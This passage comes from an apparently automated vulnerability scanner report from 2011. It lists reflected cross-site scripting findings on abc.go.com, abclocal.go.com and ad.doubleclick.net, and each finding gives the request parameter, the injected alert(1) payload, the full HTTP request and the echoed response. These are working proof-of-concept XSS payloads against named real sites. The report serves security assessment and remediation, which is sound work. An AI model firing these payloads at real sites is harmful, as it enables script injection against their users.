<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
mb');
   crumbs.set({"breadcrumbDiv": "breadcrumb", "showTitle": "","currentPageType":"Featured", "currentPageUrl":"/watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.pngadd94"-alert(1)-"da4ce7e27d2&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl=&brandid=001","cookieName" : "abc_v
...[SNIP]...

3.30. http://abc.go.com/watch [i parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the i request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eeaf7"-alert(1)-"bf408a71e3b was submitted in the i parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /watch?i=1eeaf7"-alert(1)-"bf408a71e3b&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:10 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:10 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc02
Cache-Expires: Wed, 23 Feb 2011 23:12:10 GMT
Content-Length: 16360
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
vascript">
   var crumbs = new abcdm.abc.vp2.ui.breadcrumb.Breadcrumb('breadcrumb');
   crumbs.set({"breadcrumbDiv": "breadcrumb", "showTitle": "","currentPageType":"Featured", "currentPageUrl":"/watch?i=1eeaf7"-alert(1)-"bf408a71e3b&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3
...[SNIP]...

3.31. http://abc.go.com/watch [i parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the i request parameter is copied into an HTML comment. The payload bd0a6--><script>alert(1)</script>1c4bcbbcc0b was submitted in the i parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /watch?i=1bd0a6--><script>alert(1)</script>1c4bcbbcc0b&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:12 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:12 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc04
X-Powered-By: ASP.NET
Cache-Expires: Wed, 23 Feb 2011 23:12:12 GMT
Content-Length: 16408
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
<!-- ~#~#VP2#~#~ Version: 6.0.3.9_10_1 ~~~ Brandid: 001 ~~~ /watch?i=1bd0a6--><script>alert(1)</script>1c4bcbbcc0b&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3
...[SNIP]...

3.32. http://abc.go.com/watch [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 79066--><script>alert(1)</script>bceb9d2f1a4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /watch?79066--><script>alert(1)</script>bceb9d2f1a4=1 HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:08 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:08 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc04
X-Powered-By: ASP.NET
Cache-Expires: Wed, 23 Feb 2011 23:12:07 GMT
Content-Length: 15676
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
<!-- ~#~#VP2#~#~ Version: 6.0.3.9_10_1 ~~~ Brandid: 001 ~~~ /watch?79066--><script>alert(1)</script>bceb9d2f1a4=1&brandid=001 -->
...[SNIP]...

3.33. http://abc.go.com/watch [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 22c78"-alert(1)-"857dd371022 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /watch?22c78"-alert(1)-"857dd371022=1 HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:06 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:06 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc02
Cache-Expires: Wed, 23 Feb 2011 23:12:06 GMT
Content-Length: 15628
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
/javascript">
   var crumbs = new abcdm.abc.vp2.ui.breadcrumb.Breadcrumb('breadcrumb');
   crumbs.set({"breadcrumbDiv": "breadcrumb", "showTitle": "","currentPageType":"Featured", "currentPageUrl":"/watch?22c78"-alert(1)-"857dd371022=1&brandid=001","cookieName" : "abc_vp_breadcrumb" });
</script>
...[SNIP]...

3.34. http://abc.go.com/watch [partner parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the partner request parameter is copied into an HTML comment. The payload fce41--><script>alert(1)</script>a0f23fb5a53 was submitted in the partner parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=fce41--><script>alert(1)</script>a0f23fb5a53&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:32 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:32 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc03
Cache-Expires: Wed, 23 Feb 2011 23:12:32 GMT
Content-Length: 16408
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
c.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=fce41--><script>alert(1)</script>a0f23fb5a53&pc=&pl=&brandid=001 -->
...[SNIP]...

3.35. http://abc.go.com/watch [partner parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the partner request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dbab2"-alert(1)-"8115564337a was submitted in the partner parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=dbab2"-alert(1)-"8115564337a&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:30 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:30 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc04
X-Powered-By: ASP.NET
Cache-Expires: Wed, 23 Feb 2011 23:12:30 GMT
Content-Length: 16360
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
c.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=dbab2"-alert(1)-"8115564337a&pc=&pl=&brandid=001","cookieName" : "abc_vp_breadcrumb" });
</script>
...[SNIP]...

3.36. http://abc.go.com/watch [pc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the pc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cafe5"-alert(1)-"bce35d84227 was submitted in the pc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=cafe5"-alert(1)-"bce35d84227&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:36 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:36 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc02
Cache-Expires: Wed, 23 Feb 2011 23:12:36 GMT
Content-Length: 16360
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
m/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=cafe5"-alert(1)-"bce35d84227&pl=&brandid=001","cookieName" : "abc_vp_breadcrumb" });
</script>
...[SNIP]...

3.37. http://abc.go.com/watch [pc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the pc request parameter is copied into an HTML comment. The payload c68cf--><script>alert(1)</script>95f6c7f6244 was submitted in the pc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=c68cf--><script>alert(1)</script>95f6c7f6244&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:37 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:37 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc03
Cache-Expires: Wed, 23 Feb 2011 23:12:37 GMT
Content-Length: 16408
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
m/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=c68cf--><script>alert(1)</script>95f6c7f6244&pl=&brandid=001 -->
...[SNIP]...

3.38. http://abc.go.com/watch [pl parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the pl request parameter is copied into an HTML comment. The payload ab41d--><script>alert(1)</script>4b90f52be3c was submitted in the pl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl=ab41d--><script>alert(1)</script>4b90f52be3c HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:42 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:42 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc04
X-Powered-By: ASP.NET
Cache-Expires: Wed, 23 Feb 2011 23:12:42 GMT
Content-Length: 16408
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl=ab41d--><script>alert(1)</script>4b90f52be3c&brandid=001 -->
...[SNIP]...

3.39. http://abc.go.com/watch [pl parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the pl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 38ed3"-alert(1)-"16bb995b9fc was submitted in the pl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl=38ed3"-alert(1)-"16bb995b9fc HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:41 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:41 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc03
Cache-Expires: Wed, 23 Feb 2011 23:12:40 GMT
Content-Length: 16360
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl=38ed3"-alert(1)-"16bb995b9fc&brandid=001","cookieName" : "abc_vp_breadcrumb" });
</script>
...[SNIP]...

3.40. http://abclocal.go.com/wls/story [section parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abclocal.go.com
Path:   /wls/story

Issue detail

The value of the section request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bc0d5'%3balert(1)//06cec9ccd55 was submitted in the section parameter. This input was echoed as bc0d5';alert(1)//06cec9ccd55 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /wls/story?section=news/politicsbc0d5'%3balert(1)//06cec9ccd55&id=7977364&rss=rss-espnChicago-wls-article-7977364 HTTP/1.1
Host: abclocal.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=120
Date: Sat, 26 Feb 2011 01:50:29 GMT
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Sat, 26 Feb 2011 01:50:29 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc06
X-Powered-By: ASP.NET
Set-Cookie: SWID=A0C858BF-04E3-46C4-8DF4-ACF76E3CCD6D; path=/; expires=Sat, 26-Feb-2031 01:50:29 GMT; domain=.go.com;
Cache-Expires: Sat, 26 Feb 2011 01:53:29 GMT
Content-Length: 75131
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="e
...[SNIP]...
<a href="http://abclocal.go.com/wls/html5/video?id=7978923&pid=7977364&section=news/politicsbc0d5';alert(1)//06cec9ccd55">
...[SNIP]...

3.41. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [adurl parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348

Issue detail

The value of the adurl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eca1a"-alert(1)-"9f45c7913ea was submitted in the adurl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=eca1a"-alert(1)-"9f45c7913ea HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 8444
Cache-Control: no-cache
Pragma: no-cache
Date: Wed, 23 Feb 2011 21:38:14 GMT
Expires: Wed, 23 Feb 2011 21:38:14 GMT

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=eca1a"-alert(1)-"9f45c7913eahttp://www22.verizon.com/Residential/HighSpeedInternet/Plans/Plans.htm?withphone=N&CMP=BAC-MXT_D_P2_CS_Z_Q_N_Z330");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = ""
...[SNIP]...

3.42. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [ai parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348

Issue detail

The value of the ai request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload be53b"-alert(1)-"3b9fd4c6033 was submitted in the ai parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

